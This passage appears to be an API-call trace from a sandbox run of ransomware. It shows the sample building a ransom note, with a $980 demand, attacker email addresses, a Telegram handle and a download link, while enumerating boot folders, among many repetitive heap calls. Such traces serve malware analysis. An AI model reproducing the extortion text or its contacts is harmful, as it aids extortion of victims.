(pszPath="C:\\Boot\\") returned="Boot\\" [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.598] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.598] PathFindFileNameW (pszPath="") returned="" [0119.598] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.598] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.598] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.598] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.598] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.598] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0119.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.599] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0119.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.599] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.599] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.599] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.599] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.599] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.599] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.600] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.600] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.600] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.600] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.600] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.601] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.601] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.602] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.603] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.604] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.604] HeapFree (in: 